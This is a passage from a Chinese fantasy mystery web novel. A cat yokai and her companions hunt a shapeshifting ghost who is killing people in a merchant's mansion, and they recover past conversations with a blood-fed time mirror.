梁安面上带着微笑，点点头道：“是，香桃姑娘被害当日，我与这几位朋友来找葵花姑娘作诗赏画，路过二层时凑巧遇见香桃姑娘等人在飞桥上看烟火，我与香桃姑娘也相识，便说了两句话。没想到我走后不久，她就发生了那样的事……真是天意弄人。”
他说完，边上的葵花姑娘就颔首道：“就如梁公子所说的这般，那日几位公子进屋没多久，楼下就传来惊慌失措的喧闹声，不久后官府的人就来了，几位公子都是被问过了话才走的。”
胡和烈指了圈人：“这几个人当时都在？可有在的今日没来？”
“都来了。”他一一介绍道，“这位是张三，这位是李四，这两位是陈西和林南。”
万情贞若有所思地点点头：“听起来都不像是凶手呢。”
叶米：“你说什么？”
“没什么没什么，”万情贞摆摆手，“梁公子，听说你请过一回香桃姑娘来跳舞，不知是何时？”
梁安闻言露出思索的神情，但很快就摇了摇头道：“许是一段时间前的事了，我没什么印象。”
“我记得我记得。”边上那个不知道叫张三还是李四的抬手道：“就是上月的事，梁兄你还为香桃姑娘画了幅美人画，是不是？”
“哦，那幅画啊！”陈西一脸恍然大悟，“我也想起来了，那幅画画得真好，惟妙惟肖、栩栩如生！和春桃姑娘的模样是一等一的相似。”
他边上的林南道：“照我看，明明是画比人娇，哈哈哈！”
胡和烈闻言，鄙夷地看了几人一眼：“那幅画我们也看过了，不过是有几分画功，哪来的惟妙惟肖栩栩如生？还画比人娇……你们几个怕不是眼神有问题？”
几人：……
万情贞没眼力色地在边上解释：“胡大哥，他们是在溜须拍马呢。”
胡和烈：“哦~”
梁安的脸色有不明显的僵硬。
“作画自然是要静心定心，慢慢想、慢慢画，”这时候葵花姑娘轻柔道，“大家都知晓梁公子画技了得，故楼里的姑娘都爱缠着他要些画作，不过作画时间紧迫，公子不过随意画了几笔，能有几分画功显出姑娘的灵动和神似，已是了得。”
梁安一听，心里舒服许多，脸色也舒展开来，戴上亲和的微笑。
边上的张三李四陈西林南也明显松了口气。
万情贞小声点头：“这位姑娘说话更好听。”
“别说画的事了，”叶米赶时间呢，“我们想要的很简单，就是取你们每人一滴血。”
“什么？”几人都是一愣，张三道，“为何要我们的血？”
叶米现在还有些耐心解释：“我们有一件宝物，只要染上二人的血，便能显现这两人某一次相处谈话时的情景。既然几位案发前都与香桃姑娘有过接触，不如就让我们借几位的眼睛看看当时的情景？也好助我们破案。”
这是什么神奇的宝物？
几人都很惊异，面面相觑着没有答应，脸上都有些慌张和不安。
梁安倒是另类一些，不慌张反而好奇道：“从未听说过这样的宝物，可否让梁某一见？”
叶米看向他：“这是仙家的宝物，岂是你说见就见的？”
“这位姑娘说的是，”梁安好似不介意她的不留情，还笑道，“仙家的宝物自然不能这么随便……欸，看几位面生，想来都不是雷州人吧？不如就让梁某做东，好好招待几位，破案这么劳累的事，休息时总得舒坦些。”
人家敲着算盘，声大到谁都能听见，就看三妖接不接茬了。
万情贞心想这商贾世家定是有钱得很，估计会招待得很好吧！他是想答应的，不过不敢发表意见。胡和烈也不是别人给点贿赂就妥协的性子，不耐地刚说出三字“用不着”，却听边上的叶米道：
“既然如此，那就恭敬不如从命了。”
胡和烈诧异看向她，正好瞧见她的猫眼从竖瞳化成普通瞳孔的瞬间。看来这猫是发现了什么……想了想，他还是闭上了嘴，当刚刚的三字没说过。
“如此甚好！”梁安高兴起来，几步走上前来道，“既然如此，时候也不早了，不如几位大师这就随梁某回梁宅，用些好酒好菜？”
葵花姑娘闻言，垂眸看了眼才画了没几笔的画作，微微摇头，倒是没说什么。
万情贞提醒道：“大人，我们还要取血。”
“好、好，”梁安现在非常好商量了，他还劝几个朋友说：“不做亏心事，不怕鬼敲门，既然这几位大师是为香桃姑娘的案子而来，我们也该竭尽所能地帮一把才是。”
“是啊是啊。”李四见风使舵得快，立刻附和道，“还是梁兄
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远见卓识啊！兄弟几个自然是乐意帮忙的。不过这血该如何……”
他话音未落，叶米立起双指在身前，指尖亮起白光，几人被她类似点灯的技能惊得看傻了一会，直到葵花姑娘发出一小声惊呼，众人纷纷望去，只见她一手捧着另一只手，那只手上飘出了一滴血来。
几人似有所感地低头一看，原来自己的指尖也飘了血，仔细一看可以瞧见一小道伤口，隐隐约约感到一丝疼痛。
六滴血飞来叶米亮光的指尖打着转，万情贞捧过来一个打开的小盒子，等叶米将血放入其中后盖上盖子，小心地收到了随身的包裹中。
取血这招看得屋里的凡人是大气都不敢喘，他们不由得想，这样无声无息地就能划破他们的皮肤、引出他们的血……那她杀人应该很轻松容易吧？
众人不自觉汗流浃背。
取完血，叶米轻松道：“好了，走吧。”
梁安回过神来，轻轻一抹额上的细汗：“好。”
他们跟着梁安出了怡心园往梁宅走，万情贞用传心术和两妖交谈：“猫大人，为何要答应这个梁安啊？他明显是对时转镜感兴趣。”
叶米说：“他感兴趣就能拿到吗？”
胡和烈：“所以你是单纯想占他便宜？”
“不是，”叶米看着走在前头、边上紧跟着两个护卫和小厮的背影，“梁安眉心有煞气缠绕，怕是被阴邪之物盯上了，在这个关头，你觉得此事和无形鬼有几分关系？”
二妖一听皆是一愣，胡和烈道：“你是说，梁安很有可能是无形鬼下一个要杀的人？”
万情贞抖了一下：“眉间阴煞其实还有另一种可能……那鬼就附身在梁安身上或是身边的物件中……”
“不管如何，跟着他总没错。就是他和无形鬼无关，也能救下他这条小命……”叶米瞥了眼万情贞，微微笑道，“到时候你可要记下我们做的好事。”
万情贞殷勤道：“那是自然、那是自然！”
梁宅与怡心楼相隔并不远，富丽堂皇的深宅大院建在雷州闹中取静的好位置，可见梁家的家底之丰厚。大门口站着几个腰板挺直的护卫，见到梁安回来了，纷纷同他行礼问好，
待打开了门，又有一管家领着两个丫鬟前来迎接，说是要给叶米等人安排客房。
叶米给万情贞使了个眼神，后者领会，立刻道：“梁公子，我们住哪倒是无所谓，不过这肚子是有些饿了……”
管家立刻恭敬道：“恕小的安排不周，好酒好菜尚未筹备完善，还要稍等一炷香的时间，不如先请几位大师回屋子里稍作歇息？”
“欸，那不如你先取几壶酒来，我们和梁公子先喝上。”万情贞冲管家嘿嘿道，“实不相瞒，我见了你们小少爷真是一见如故，恨不得快些把酒言欢、谈谈人生大志那！”
他都这么说了，梁安又抱着和三妖交好的心思，哪里能不应下，直接带人去了膳厅上了餐桌，招呼下人摆上美酒。
41. 第 41 章
要说三妖真想和梁安把酒言欢吗？那自然是不可能的，就算梁安再有钱，妖精们也看不上他这个商贾世家的小公子。这么把他耗在桌上，只不过是为了盯住他，时刻警惕无形鬼的出现罢了。
开喝前，叶米还道：“我酒量不好，等会要是醉倒了，几位不用在意我。”
梁安连忙说：“不如我让下人给叶大师拿一壶好茶来？”
“不了，”叶米轻松将杯中的美酒一饮而尽，“你们都喝酒，我喝茶也没意思。”
梁安哈哈笑道：“叶大师真是女中豪杰！”
这就算女中豪杰了？叶米挑了下眉，心想凡人对人类女子的定义真是好笑，把这些无用的小技能捧得这么高，也不知有什么想法。
三妖里头唯一能和梁安聊上天的也就万情贞了，叶米和胡和烈属于问了就答一句，不问就管自己吃喝，没过多久，丫鬟们端上来许多好菜，桌上的人吃吃喝喝得越发尽兴，似乎连气氛都活络不少。
叶米等肚子吃饱之后又喝了一杯酒，神情昏昏沉沉地往桌上一趴，看起来是醉后睡着了。
梁安这会有点小醉，见她这样，想让丫鬟把叶米送去客房休息，但万情贞揽着他肩膀说：“哎呀不用管她，她不是说不用管她嘛……就让她睡着吧，等会指不定还要醒过来继续喝呢！”
梁安晕晕乎乎的，嘴巴一张要说话，万情贞就把酒送到他张开的嘴里，灌得他猝不及防。
不知什么时候，梁安也醉倒了，万情贞双颊酒红地看着趴在桌上的三人，满意地点点头，最后塞了块金丝虾球进嘴里，舒舒服服地往桌上一趴，要睡觉的架势很足。
屋里一时很安静，烛光照着人形的轮廓映到墙上和窗上，几声沙沙和虫叫从外头传来，伴着一阵阴冷的风。
梁安不知怎么感到一阵背脊发凉，他无意识地发抖起来，浑身起了鸡皮疙瘩，但醉得困意朦胧的他只清醒了一点点意识，并不想从梦中醒来。
后背……后背好冷……
梁安心想，这才入秋，白日里都还热着，怎么今晚这么冷了呢……他是不是该起来去房里睡？……那些丫鬟们呢，怎么这点眼力色都没有，也不知道进来扶他过去……好困。
不行……太冷了，这风吹开他后衣领蹿进来了，在他的身体和上衣布料间盘旋了好一会，忽然穿过他的皮肉摸到了他的骨髓，惊得梁安猛然睁开眼，不受控制发起抖来。
他似有所感，半分清醒半分迷糊地转着脑袋回头一看，意外又意料之中地瞧见了一个朦胧的人影。因他是坐着的，一会头先是看见了对方的上半身，没瞧见脸，只是这“人”身上的衣服怎么……
这么眼熟呢？
梁安卡顿的眼珠子慢慢地抬起一点，看见“梁安”阴森而平静地和他对视，然后勾起一边的嘴角，露出一个歪斜的恶笑。
梁安：……
瞬间的震惊失声过后，他惨叫道：“鬼啊！！”
“梁安”抬起手，他的右手像是人的手贴紧五指后的手刀模样，但此时五根手指和手掌都不见了——或者说是融为了一体，变成了肉色刀刃，刀尖还闪着凌厉的暗光。
梁安眼睁睁地看见“梁安”把手一抬就要朝他劈下，他吓得又是一声尖叫，想要跑却双腿发软，干脆从椅子上掉了下来摔倒地上，眼见得那手刀砍到他先前坐的椅子上，然后轻松地把木椅切成了两半。
梁安：……
第一下没砍中人，“梁安”并不着急，他似乎享受着猎物临死前无用的挣扎，看着梁安瘫坐在地上吓得像个孙子、哪里还有先前意气风发和得意洋洋？“梁安”上的笑容是越发灿烂了。
他要如何让梁公子死得狼狈、凄惨一些呢？
“梁安”兴奋地打量着梁安，见他浑身发抖还不忘挪着屁股后退，干脆用还是人手模样的左手一把抓住了他的脚踝，将他稳稳得拉住了，只听得一声又一声的惨叫：
“救命啊！来人那！大师、大师救命啊！”
大师？“梁安”差点要笑出声来，哈哈哈哈！什么狗屁大师，喝几壶酒就醉得不省人事了，能耐他何！
边上的油灯在“梁安”脸上晃过一道凶光，他拉着梁安的腿把他从地上拖了些过来，脑海里不由得想：要是他把这腿砍断了，梁安就变成了矮子，看他一个四尺男儿如何风流倜傥哈哈哈！
不……还是不能留下活口……
“梁安”有一些遗憾，不过事不宜迟，他得赶快将这梁公子解决了。于是他抬起手，面色狰狞地狠厉一劈——
梁安：“啊！”
“梁安”：“啊！”
这两声都分不出谁是谁。
“梁安”被一脚踹飞到墙上，墙体要是能说话这时也该惨叫哭诉，毕竟实在太疼了。只见那原本还有人样的“梁安”被这么一砸，整个身子从中间开始扭曲，仿佛被锤了一拳的长面团，诡异地柔软塌陷着。
梁安流下后怕的泪水，看向在危急关头拯救他的三人，压根不知道他们是什么时候醒来的。
胡和烈收回脚，万情贞指着从墙上滑下来的“梁安”质问道：“你是什么妖鬼！”
叶米道：“废话少问，先把他捉了。”话未落她就飞了上去。
眼见危险逼近，靠墙瘫坐着的“梁安”咬牙忍着疼，手一挥就散了一个烟雾弹出去，顿时屋里烟雾弥漫，叶米不得不暂且停下，却依旧瞪着眼睛在雾中视物，透过不受控制流下的泪珠瞧见了一个佝偻的人影往右边逃去。
“去右边！”
三妖也顾不上呛鼻子流眼泪的，连忙往右边的屋子跑，等烟雾散去之后，只留下坐在地上、满脸呆滞的梁安。
再看另一边，三妖并不熟悉梁宅的构造，一路跟着那妖怪跑，他不知跑进了谁的卧房中，三妖一进去，只见屏风后闪过一道身影，叶米飞快扔出技能，屏风被砍破一道大口子，却没命中。
“啊！！”
屋里传来
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一声女人的尖叫，三妖对视一眼，绕过屏风进去一看，一个穿着中衣的女人从床榻上坐起来，拉着布衾遮住自己的身子，满脸惊恐和慌张地看着三个不速之客：“你、你们是谁？”
胡和烈的视线在她屋里打量，却见这屋子没有其他可出入的门，只剩下两扇合着的窗户，他问女人道：“刚刚闯进你屋里的人去哪了？”
他说话的时候，叶米已经开始翻找屋里的衣柜、角落等能藏人的地方。
女人瞥了她一眼，脸上带上一些怒火：“从始至终，闯进我屋里的只有你们三人！”
万情贞脸色有些焦急：“这……我们明明看见有人进来了，刚刚还在屏风后头……总不会我们三个都看错了。”
“我这屋子就这么大，也没处可藏人的。”女人似乎忍无可忍了：“你们究竟是谁，再不出去我要叫人了！”
万情贞和胡和烈便有些犹豫，叶米不紧不慢地走到床榻边，看着散着黑发的女人道：“信你的话不如信我自己的眼睛，既然这屋里无处可藏人，那我们要找的人……就是你——”
这么说着，她两指上亮起的白光就朝女人飞去，女人惊目圆瞪，就在白光要落在她身上的那一秒时，整个人从床上滚了下来，三妖这才看到她的腰部是扭曲的，原因自然是叶米刚刚砸的那一拳。
胡和烈：“抓住他！”
妖怪两手两脚并作在地上爬，砸了两个花盆堪堪躲过三妖的三招，连开窗户的功夫都没有，直接一个跃扑破窗而出，带起一片噼里啪啦声。
叶米：“追！”
幸好这窗户不小，妖怪能跳窗他们也能跳，跳出窗外就是一个大院子，前边有一片层叠的筑山，隐在小规模的林子里。三妖追出来时正好瞧见那穿着中衣的白色身影已闪入其中。
叶米没有半分犹豫，率先追了上去。
万情贞看着这片筑山小林，不知怎么觉得有些不妙：“猫大人……”
可他叫不住叶米，就连胡和烈都紧跟其后地走了，万情贞还能咋办，留在原处又害怕又显得他好怂，只好咬牙跟上去。
叶米进入筑山中，开始埋怨梁家钱多到没处使，居然整了这么一片筑山林泉，左拐右弯的，谁知道下片石块后边有没有埋伏着什么……
“谁！”
她听到窸窣的动静，猛然回头一看，夜色之中，胡和烈的一张脸没有任何亮点，他脸色不大好，似乎是被她这一声吓到了：“是我。你往前边的小林子走，我去那边的鱼池看看。”
叶米点头道：“好，那就分头行事。”
说完，两人便暂时分道扬镳，叶米短暂地想过万情贞怎么没跟过来，后又觉得他大概是胆子小，在外边看着了吧，毕竟这筑山小林看着有些阴森。
万情贞快步小跑，好险跟上了胡和烈，后者回头看了他一眼，倒是没说什么，两人往筑山边上的鱼池那边走去，走了几步听见后边有脚步声，回头一看，是面色冷淡的叶米。
42. 第 42 章
“万情贞跟着我，”叶米不容分说道，“我找他有用。”
胡和烈无所谓有没有这么一个小跟班，刚应下，又听叶米道：“我好似又看见有人往刚刚那女人的屋子里跑了，胡和烈，不如你追去一探究竟？这片筑山就交给我们二人便是。”
“行。”
猫的夜视能力好，她留在这乌漆嘛黑的地方也是应该的，胡和烈配合地点了点头，转身往来路走回去。
胡大哥走了，万情贞赶紧向另一个大腿叶米跑去，不曾想叶米见他跑近来，却往后退了两步。
万情贞：？
她是不是嫌弃我！
“猫大人！”他压抑着声音委屈道，“你退后的动作是认真的吗？这妖怪那么狡猾危险，现在又不知道藏哪去了，我可不敢再离开你半步啊！”
“知道了。”叶米似有些无语，朝他身后一抬下巴道，“走，去鱼池边看看，说不定他藏在水里。”
万情贞听话地往回走去，一边走一边小声嘟囔：“若是藏在水里的话，怕不是什么鱼精……哦，水鬼也有可能，猫大人，你刚刚追得这么紧也没追上吗，这臭妖怪跑得真快……”
他们一前一后走到水边，鱼池映着夜色，黑乎乎的一片，好多荷叶荷花飘在一侧，沉寂的水面下时不时冒出一些鱼尾击打水花的声音，只不过瞧不见鱼儿，就不知道究竟是不是鱼了。
万情贞探头看了看：“什么都看不见呀，猫大人……”
“那不如……”猫大人在他背后轻飘飘道，“你下去看看？”
万情贞的脑子里瞬间冒出“您开玩笑呢哈哈”这个回答，但他下一瞬间就觉得刚刚猫大人的语气有点说不上来的不对劲，他便下意识想回头看，转身的时候一不小心左脚绊右脚，一整个妖就这么往后倒去——
“啊！猫……”
他下意识伸出手想向身后人求救，这时候才看见猫大人的手变成了手刀，上边还沾着一点血。
万情贞：？
“猫大人”显然也有些惊讶。
万情贞捂了下自己的后脖颈，没断，但是被割了一道不浅的伤口嘞！好险他刚刚没站稳摔了，要不然自己就是香桃姑娘的下场！！
“救命啊！！”
“噗通——”
落水声伴着万情贞的惨叫传来，“叶米”暗骂一声倒霉，明明只要再快一些就可以让他妖头落地，偏偏！
眼见厢房那边有动静传来，“叶米”不敢久留，连忙往林子的方向跑去。
胡和烈匆匆赶到现场的时候，凶手已经走了，只留下万情贞在水里扑腾，瞧见胡和烈过来，他连忙喊道：“胡大咕噜噜噜哥，救命咕噜噜噜，我不会咕噜噜噜……凫水咕噜噜噜啊……”
追凶还是救妖，这是一个问题。
开玩笑的，胡和烈不至于见死不救，连忙扑通下水将万情贞捞了上来，一边给他拍背一边骂他：“你连凫水都不会？要你有何用！喂，刚刚发生了什么，你不是和叶米在一起吗？”
万情贞一边吐水一边咳嗽一边又抓紧着给胡和烈解释：“咳咳……叶……咳咳，那不是……咳咳猫大人咳咳……是咳咳那个妖怪装成了咳咳……猫大人的模样咳咳咳……”
胡和烈皱着眉头看着他：“没听懂，你说顺畅些！”
万情贞：……咳咳咳……
叶米在筑山的小林子里探查一番后，没发现什么古怪，便退了出来。她心里纳闷着这妖怪到底躲哪去了，按她的猜想应是跑不了多远，也不是往天上走的，毕竟这妖怪受了重伤不说，在屋檐上跳啊跳的他们不可能没发现……
所以她还是倾向于他藏了起来，并且就在这筑山小林之中。
只是究竟在哪呢？
叶米离开树叶的阴影，抬头看向天上的明月，今晚的月光特别好，筑山上阴影和明亮的地方区分得明显。
叶米最后扫视一圈，打算往回走，没走两步，她隐约觉得不对劲，慢下步子扭头一看——什么都没有。
可是那种被窥视的感觉依旧如影随形，猫的第六感总是很灵的，她觉得她想要找的妖怪应该就在附近、并且还大胆地盯着她一举一动呢，只是她看了好几圈始终找不到对方的身影……究竟在哪？
敌人在暗我在明，叶米略微思酌，决定先去找胡和烈和万情贞。
可那妖怪似乎不想她离开，正要走进筑山，忽有一阵风刮过她左边的发丝，叶米猛然转身，毫不意外地看见一片空荡。
她竖着猫瞳细细查看过面前的一草一木，可这里能藏人的地方真的不多。此时四下静谧，前方的月亮如此明亮，仿佛能让世间万物无所遁形，不过目前只照在她一妖身上，投影到她身后的筑山，显出一个随着筑山纹路和走势扭曲的人影。
……在哪？
叶米感到后脖子一凉。
她还未来得及反应，只听凌空传来一声“小心”，身后猛然扑来一阵冲击，叶米猝不及防地往侧前方一扑，转过身来，就见她身后的一片筑山炸裂开来，罪魁祸首是穿透它的那把木剑、或者说是拿着木剑的男人。
筑山里传来一声惨叫，可无数碎尸落下之后，那妖怪依旧不见踪影，只在地上留下一滩喷射的血迹。
还是让他逃走了。
叶米这会也顾不上生气，她看向那个收起木剑的年轻男人，他一转过来，俊秀的容貌就被月光照得很明白。叶米不是那种注重外貌的妖，她对人类一般是不给正眼的，但此时看着这陌生男人，莫名看入了些神，只觉得他长得好眼熟。
而且她刚刚差点死于妖怪的手下，还是被他救……嗯？
等等，这个故事情节。
【……叶米差点死于***的手下，危急时刻，南显成将其救下，叶米见他如似故人，感恩之余多了几分好感……】
叶米：……？
原来搁这等着她呢。
叶米看着对方的时候，南显成也看着她，有缘之人在见着对方第一面时就会有感应了，他这会也觉得怎么看这个姑娘如此眼熟呢，仿佛是好久以前有过许多交集的故人……
不过现在不是“叙
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旧”的时候，叶米皱着眉头移开视线低眉沉思的时候，南显成也回过神来，语气有些急切地关心道：“姑娘，你的伤没事吧？”
伤？
叶米不知道她脖子后边的伤口都流到脖子前边来了，看着可恐怖，经南显成提醒，她这才感受到一片疼痛，往脖子后边一摸，摸到一道横穿她半个脖子的伤口，此时还在汩汩流血呢。
她淡定地给伤口止了血，用法术糊住伤口，这样就小功告成了：“没事，刚刚多谢你救了我。”
南显成愣了一下：“是吗……对了，我这里有效果不错的伤药……”
“不用。”
她撂下这么一句，蹲下来捡起地上两块沾了血的石头，头也不回地继续往前走了，那架势就像在街口买了个包子，给摊主付了钱之后就从此和对方毫无瓜葛了似的。
南显成显然对她的冷漠有些诧异，不过他也没多想，快步跟上了她，客气地问道：“姑娘，你们也是看了通缉令，来捉拿无形鬼的吗？”
叶米瞥他一眼：“‘你们’？”
“是，”南显成很快就懂她关注的重点，实话实说，“其实我在梁宅里埋伏了一会。”
“你偷偷摸摸的做什么？”
南显成连忙解释道：“在下只是想，也许你们是冲着通缉令上的一百两银子而来，我无意与几位争夺赏银，又担心无形鬼妖法高强、诡计多端，世人恐有危险，便私自在暗处探查……并非刻意窥探你们的行踪，如有冒犯，在下愿意谢罪。”
这话说得是滴水不漏的，还非常情有可原，就是叶米也难挑刺，只是没什么情绪道：“不用你如此好心，各凭本事就是。”
“话虽如此……”
南显成正要说什么，忽然见前边走过来两个人，正是胡和烈和万情贞。
二妖看见忽然冒出来的陌生人都是一惊，但看叶米毫无反应的样子，便知道他不是敌人，只是奇怪道：“叶米，他是谁？”
叶米：“不认识。”
胡和烈打量对方：“不认识？”
这时万情贞忽然看见叶米脖子上的血迹，他刚刚也受了这样的伤，自然是知道什么回事，愤愤道：“猫大人，你也被那臭妖怪砍了脖子吗？他刚刚居然化成你的模样来骗我，害我差点脑袋落地性命不保啊！猫大人，他太可恶了！！”
猫大人？
南显成恍然大悟般看向叶米：“原来叶姑娘是猫妖。”
胡和烈打量到对方腰侧的桃木剑，俊眉一皱道：“你是道士！”
“是。”南显成朝三只妖拱手行李问好，客客气气地自我介绍道，“在下南显成，是乌来山蓬承派的弟子，奉师命下山斩妖除鬼……”
说到这他瞥见对面二妖的脸色，顿了顿，觉得很有必要地补充道：“斩恶妖，除恶鬼。”
不过胡和烈和万情贞的重点完全不在这里，他们在听到“南显成”三字时，神情已经明显不对劲了，四只眼睛不停地在叶米毫无波动的脸上和南显成礼貌的微笑中来回打转，心中有许多说不清的惊奇。
43. 第 43 章
万情贞小声地用气声感叹：“这么快就……”遇上了啊。
气氛莫名有些焦灼，南显成心想他是不是要说得明白些，他们门派很早就有“妖有善恶，不得乱杀”的门规了，难道这三位妖和哪位道士有过不好的交往，所以不待见他吗？
还是叶米先打破了沉默：“走，回怡心楼。”
万情贞识相地把八卦的眼睛收回来：“好嘞。”
见他们要走，南显成道：“叶姑娘，无形鬼谲诈多端，刚刚他偷袭你时，不知用了什么诡计附身在那片筑山中，实在是神不知鬼不觉，让人难防。如果三位不介意，可否让在下与你们一同捉拿这无形鬼？”
万情贞自然是想同意的，多一个人多一份力量嘛，他这个抱大腿的难道还会嫌大腿不够多？可他也不是傻的，这南显成身份特殊，这里没他说话的份，便抿着嘴小心看叶米脸色。
胡和烈其实无所谓，不过他猜想猫会不同意，就等着看她如何拒绝。
集中着二妖一人的视线，叶米也没犹豫，点了下头道：“行。”
胡和烈：？
万情贞：！
南显成展颜一笑：“多谢叶姑娘成全，在下定会竭尽全力、不拖你们的后腿。”
事情就这么诡异地决定了。
三妖一人便往筑山外走去，万情贞和叶米传心：“猫大人，让南显成跟着……真的没问题吗？”
叶米反倒奇怪他的提心吊胆呢：“有什么问题？他的道法可比你和谢珍珠厉害。”
万情贞：……
“猫大人，我的意思是，他毕竟是你……”
“难道你忘了我已经斩除了情根？”
“所以你就这么放心了？”胡和烈加入群聊。
叶米很是自信：“我对我办的事一直很放心。再说这无形鬼确实不好对付，即使不让南显成跟着我们，他也会在暗地里偷偷跟着，那还不如合作一次，斩除无形鬼后再分道扬镳，省时省力。”
万情贞见她好客观实在，心下佩服：“说的也是哦！不愧是猫大人。”
他们想走，梁安还不肯呢，差点被杀的余悸本就在他心头不停蹦跶着，想着三个大师还在才没跳出嗓子眼，现在他们要走了，梁安软磨硬泡了好久，在得到叶米“无形鬼受了重伤，今晚不会再来”的保证下，才恭敬又不情愿地送走了他们。
谢珍珠已经回到怡心楼了，见叶米他们不在也不着急，反正以她现在的胆子是做不出在孤身一妖的情况下乱晃悠的事的，就乖乖地在怡心楼里等着，然后给三妖开门。
“叶米！”她先是一笑，看到叶米的伤又吓了一跳，“你你受伤了？”
“已经好了。”叶米走进屋里，“时转镜呢？”
谢珍珠忙从不离身的包裹里掏出来：“在这！”
叶米接过时转镜去研究了，谢珍珠这才看向跟着进来的三个……嗯？
她惊奇地看着那个陌生人：“这位是……”
万情贞说：“南显成。”
“哦……原来是，南公……”螃蟹精猛然捂住嘴巴，好险没叫出来，但惊讶已经在她的眼睛里藏不住了。
南显成又不是瞎子，自然瞧见了她奇怪的反应，不过他没多想，还以为对方是看到了他的桃木剑知道了他是道士才这么惊讶的，和气地给她介绍了一下自己的身份，又把之前没说的“我们门派规定‘妖有善恶，不得乱杀’”给说了一遍，说的声音保证让屋里其他妖都听得到。
幸好谢珍珠已经缓过神来了，她心有余悸地朝南显成一笑，笑得不那么自然：“哦、哦好，既然叶米都同意了，那那……哈哈哈，好。”
南显成微笑着点头，已经明白他们四妖是以叶米为首的。
叶米是第一次拿到时转镜，但她先前见过树法祖师他们用过不少次了，这会用起来非常得心应手。她将六滴血的小盒子和捡的两块石头放在桌上，又将时转镜立好，准备开始。
胡和烈看她煞有其事的模样，忽然想到什么：“叶米，你难道知道启用时转镜的咒文？”
谢珍珠闻言大惊失色：“糟了，我忘记问了！”
叶米能指望她啥呀：“师父先前不是念过几回，你们怎么不知道？”
几妖：……
那你怎么就记住了？
不管怎么说，谢珍珠还是松了口气：“幸好幸好……”她说师父怎么给了镜子就让她走呢，也没个交代的，想来师父也清楚叶米知道吧。
四妖叽叽喳喳，没注意到南显成的视线一直停留在时转镜上，他见这镜子眼熟，认出是道家的法器，又听他们说这法器是从“师父”那里借来的，普天之下能用道家法器、还认了师父的好妖怪，十有八九是出自万妖堂。
南显成又想起现在正是万妖堂每年一度成仙考核的时候，考核是分组行动的，也和他们四妖的情况对上了。
原来是这样，他们捉无形鬼并不是要通缉令上的赏银，而是在考核。
南显成琢磨之时也注意着猫妖的动静，只见她一切准备就绪之后，身子板正地坐好，双眼微垂注视着面前的镜子，双手立于胸前，顺畅流利地结印后，双唇飞快不间断地说着什么：“吾将祖师令……唵哈哪……”
很快，她的指尖就冒起白金两道灵光，交换轮转之后，引起盒中和石头上的血迹躁动地在空中转了几圈，最终齐齐被镜面吸收。
镜面散出一圈金光，照得这间屋子格外亮堂，最后金光汇集到空中游成一个大椭圆，里头慢慢地浮现出了某些画面。
屋里几个都被这时转镜的显灵看得目不转睛，没人瞧见叶米的嘴角流下一条血水，被她不着痕迹地擦去。
她得想想办法治了自己一用道法就被反噬的毛病，虽说等修成道心之后便不会再受影响，但她不明白，自己的法术已经是万妖堂名列前茅的优秀，为何还不算修成？
之后用到道法的地方肯定不少，总不能每次都这样杀敌一千自损八百……
这些暂且放后再谈，先看看时转镜显灵的画
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面吧。
前边提到，时转镜只要染上二人的血，便能显现这两人某一次相处谈话时的情景，如今时转镜融了七滴血，按理来说会显出六个画面，此时镜面上流光旋转，停在一幅画面上。
几妖定睛一看，这画面好熟悉，可不就是他们今日早些时候闯葵花姑娘房间的情景吗？只见原本大家都在谈笑风生的屋内，门忽然被不客气地踹开，胡和烈顶着嚣张的脸出现在门口……
别说，从屋里人的视角看，他还真是压迫感十足。
“猫大人应该定的是凶手与他们某一次交手的场景吧？所以这个意思是……”万情贞瞅瞅胡和烈，“无形鬼就在屋内这几人之中？”
叶米点点头：“是。”
这个场景他们都在场，那就不必再看了，叶米道：“时转镜，我要看无形鬼与第二人最后一次交谈时的画面。”
时转镜听话地换了画面，这次是外边大街上，天色昏暗，街边有许多百姓来往走动，很是热闹。不过画面中的主角还是很好分辨的，正是张三李四陈西林南四人，看他们的衣着都很熟悉，看来时间线就是今晚他们离开怡心楼之后。
此时，四人正边走边说话，张三道：“那三个人真是什么能捉妖鬼的大师？瞧着一点也不像。”
“欸，”李四煽煽扇子道，“真人不露相嘛。”
“也不能算不露吧，”林南伸出一只手指，“那个女的刚刚那招……悄无声息地就从我们身上取了血，真渗人！”
陈西哈哈笑两声，口气有些张狂：“我爹去年在京城认识的大师，那可是能在一炷香之内请动雷公电母来呼风唤雨的，我看他们几个啊，不过是会点唬人的小把戏！”
“不过……”张三摸摸下巴，“他们是说有什么宝贝来着……”
陈西不屑一顾：“是驴是马都得拉出来溜溜，他们只说不拿出来，能是什么宝贝？”
……画面结束。
这个画面也用处不大，不过是排除了梁安的嫌疑，可他今晚差点就死了，几妖早就不再怀疑他了。
叶米便让时转镜播放下一个画面。
然后下一个画面是梁安和张李陈林四人在酒楼里吃饭。
下下个画面是梁安和张李陈林四人在皇家园林里乱逛。
下下下个画面是梁安和张李陈林四人在城外骑射……
胡和烈看到这里终于受不了了：“这几人是什么连体婴吗，做什么事都要在一起！？”
谢珍珠也忧心忡忡：“只剩下最后一个画面了，要还是这五个人……”
叶米冷飕飕地：“那就都杀了。”
见几人惊悚地看来，她又耸了下肩道：“开玩笑。”
谢珍珠心想真是吓人的玩笑，她松了口气，看见时转镜的画面又变了。这一回总算不再是讨厌的五人组，而是葵花姑娘和一个女人，她们正在葵花姑娘的屋里喝茶，脸上还带着浅浅的笑容。
万情贞认出来了：“桃红色衣裳，这就是香桃姑娘吧！”
44. 第 44 章
“香桃姑娘？”胡和烈看向叶米，“你去官府取了死者的血？”
叶米摇了摇头：“没有。只有七滴血，分别是梁安和张三李四陈西林南，葵花姑娘以及无形鬼的。”
胡和烈一手指向时转镜：“这里头只有两个人。”
万情贞头脑风暴后忽然灵光一闪：“我知道了，是不是葵花姑娘就是无形鬼，所以这两滴血一起就只能刚出现她自己记忆中的画面？”
“不是这样的，”谢珍珠也是万妖堂的学生，给书灵解释道，“时转镜只有吸入两滴出自不同人的血才会起作用。”
万情贞就有些懵：“可这没法解释啊……总不会香桃姑娘是无形鬼吧？她都已经死了……”
他疑惑间，一直在边上没说话的南显成走两步上前来：“在下有个想法。”
几妖便看向他。
南显成严肃认真地分析道：
“今晚我们和无形鬼交手之中，已能确定他有化身为他人或是隐身进筑山的诡计。而画面中的二人……既然叶姑娘取了这位葵花姑娘的血，那么葵花姑娘应是真的，如此只剩下两种可能：一是这位香桃姑娘是无形鬼假扮的，二是无形鬼就藏在这屋里的某处，窃听二人的言语。”
才被骗过的万情贞立刻认同了他的说法：“对对对，是这样！他就是变成了猫大人的模样推我下水，太狡猾了！”
“好了，”叶米道，“先看看她们说了什么。”
时转镜很有灵性地开始呈现：
